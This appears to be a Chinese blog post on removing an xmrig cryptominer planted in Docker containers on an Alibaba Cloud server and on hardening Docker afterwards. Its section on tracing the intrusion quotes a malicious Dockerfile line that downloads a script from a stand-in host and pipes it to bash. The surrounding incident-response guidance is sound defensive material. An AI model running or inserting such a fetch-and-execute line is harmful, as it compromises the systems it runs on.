当前位置: 首页 > news >正文

【攻防篇】解决:阿里云docker 容器中自动启动xmrig挖矿

解决:阿里云服务器docker容器被植入挖矿程序

    • **1. 紧急处理:停止挖矿进程**
      • **(1)查找并终止 `xmrig` 进程**
      • **(2)删除恶意文件**
    • **2. 清理被感染的容器**
      • **(1)停止并删除容器**
      • **(2)检查镜像是否被污染**
    • **3. 防护措施:防止再次被入侵**
      • **(1)使用最小化镜像**
      • **(2)限制容器资源**
      • **(3)禁止容器内运行可疑进程**
      • **(4)监控容器行为**
      • **(5)避免暴露 Docker API**
    • **4. 排查入侵来源**
      • **(1)检查 Docker 日志**
      • **(2)检查宿主机是否被入侵**
      • **(3)检查 Dockerfile 是否被篡改**
    • **5. 总结**

如果发现 Docker 容器内自动启动 xmrig 挖矿程序,说明你的容器可能被入侵(通常是由于 镜像被篡改容器内运行了恶意脚本)。以下是 排查、清理和防护措施


1. 紧急处理:停止挖矿进程

(1)查找并终止 xmrig 进程

# 进入容器
docker exec -it <容器名或ID> /bin/bash# 查找挖矿进程(xmrig、minerd、cpuminer等)
ps aux | grep -E "xmrig|minerd|cpuminer"# 强制终止进程(替换PID)
kill -9 <PID># 如果进程自动重启,检查定时任务或守护进程
crontab -l          # 查看定时任务
ls -la /etc/cron.*  # 检查cron目录
find / -name "*xmrig*"  # 查找挖矿程序路径

(2)删除恶意文件

# 删除挖矿程序和相关文件
rm -rf /tmp/xmrig /var/tmp/.cache/xmrig# 检查容器内是否有异常启动脚本
find / -name "*.sh" | xargs grep "xmrig"  # 检查脚本是否包含xmrig

2. 清理被感染的容器

(1)停止并删除容器

docker stop <容器名或ID>
docker rm <容器名或ID>

(2)检查镜像是否被污染

# 查看所有镜像
docker images# 如果镜像来源不可信,删除并重新拉取
docker rmi <恶意镜像名>

3. 防护措施:防止再次被入侵

(1)使用最小化镜像

  • 避免使用 latest 标签,选择官方受信任的镜像(如 alpinedebian-slim)。
  • 示例:
    FROM alpine:3.18
    RUN apk add --no-cache bash
    

(2)限制容器资源

docker run 时限制 CPU 和内存,防止挖矿程序耗尽资源:

docker run --cpus 1 --memory 512m -d <镜像名>

(3)禁止容器内运行可疑进程

使用 SeccompAppArmor 限制容器权限:

# 使用默认的Seccomp配置文件(限制危险系统调用)
docker run --security-opt seccomp=default.json -d <镜像名>

(4)监控容器行为

  • 使用 docker stats 检查异常 CPU/内存占用
    docker stats
    
  • 使用 FalcoSysdig 监控容器行为
    falco -r /etc/falco/falco_rules.yaml
    

(5)避免暴露 Docker API

  • 禁止远程访问 Docker API(默认端口 2375):
    # 修改 /etc/docker/daemon.json
    {"hosts": ["unix:///var/run/docker.sock"]
    }
    
  • 启用 TLS 认证(防止未授权访问)。

4. 排查入侵来源

(1)检查 Docker 日志

journalctl -u docker | grep "error\|warning"

(2)检查宿主机是否被入侵

  • 查看异常进程
    top -c
    
  • 检查 SSH 登录记录
    grep "Accepted" /var/log/auth.log
    

(3)检查 Dockerfile 是否被篡改

如果使用自定义镜像,检查 Dockerfile 是否包含恶意命令:

# 恶意示例(可能隐藏在RUN命令中)
RUN curl -sL https://malicious.site/xmrig | bash

5. 总结

步骤命令/操作
终止挖矿进程kill -9 <PID>,删除 /tmp/xmrig
清理容器docker stop + docker rm,检查镜像是否安全
限制资源docker run --cpus 1 --memory 512m
监控容器docker statsFalco
加固 Docker关闭 2375 端口,使用 Seccomp/AppArmor

建议

  • 定期更新 Docker 和镜像,避免使用来源不明的镜像。
  • 使用 Trivy 扫描镜像漏洞
    trivy image <镜像名>
    
  • 启用 Docker 日志审计,记录所有容器操作。

如果问题仍然存在,可能需要 全面检查宿主机重建 Docker 环境

相关文章:

  • 阿里云网站建设基本流程网上营销的平台有哪些
  • 韩路做的网站是什么名字充电宝关键词优化
  • 北京集团网站建设青岛seo计费
  • 姓名logo设计在线生成太原整站优化排名外包
  • 做网站一定要实名认证吗杭州百家号优化
  • 2022年互联网公司排名优化二十条
  • dockercompose快速安装ELK
  • Elasticsearch索引字段的类型
  • 伏羲微官网企业建站授权证书/防伪查询/三合一应用【前端开源】
  • Java项目:基于SSM框架实现的健康管理系统【ssm+B/S架构+源码+数据库】
  • 什么是Redis?
  • ISP Pipeline(4): Anti Aliasing Noise Filter 抗锯齿与降噪滤波器
  • 第12章:冰箱里的CT扫描仪——计算机视觉如何洞穿食材的“生命密码“
  • OpenCV插值方法详解:原理、应用与代码实践
  • 服务器排查与加固服务详细介绍
  • 《HarmonyOSNext应用崩溃自救指南:零数据丢失的故障恢复黑科技》
  • 【机器学习深度学习】数据预处理
  • kanzi 视频插件
  • FFmpeg音视频同步思路
  • 计算机网络 网络层:控制平面(二)
  • 从零开始理解百度语音识别API的Python实现
  • Milvus中 Collections 级多租户 和 分区级多租户 的区别
  • C# .NET Framework 中的高效 MQTT 消息传递
  • 解密 C++ 中的左值(lvalue)与右值(rvalue)的核心内容
  • 命名数据网络 | 数据包(Data Packet)
  • docker 命令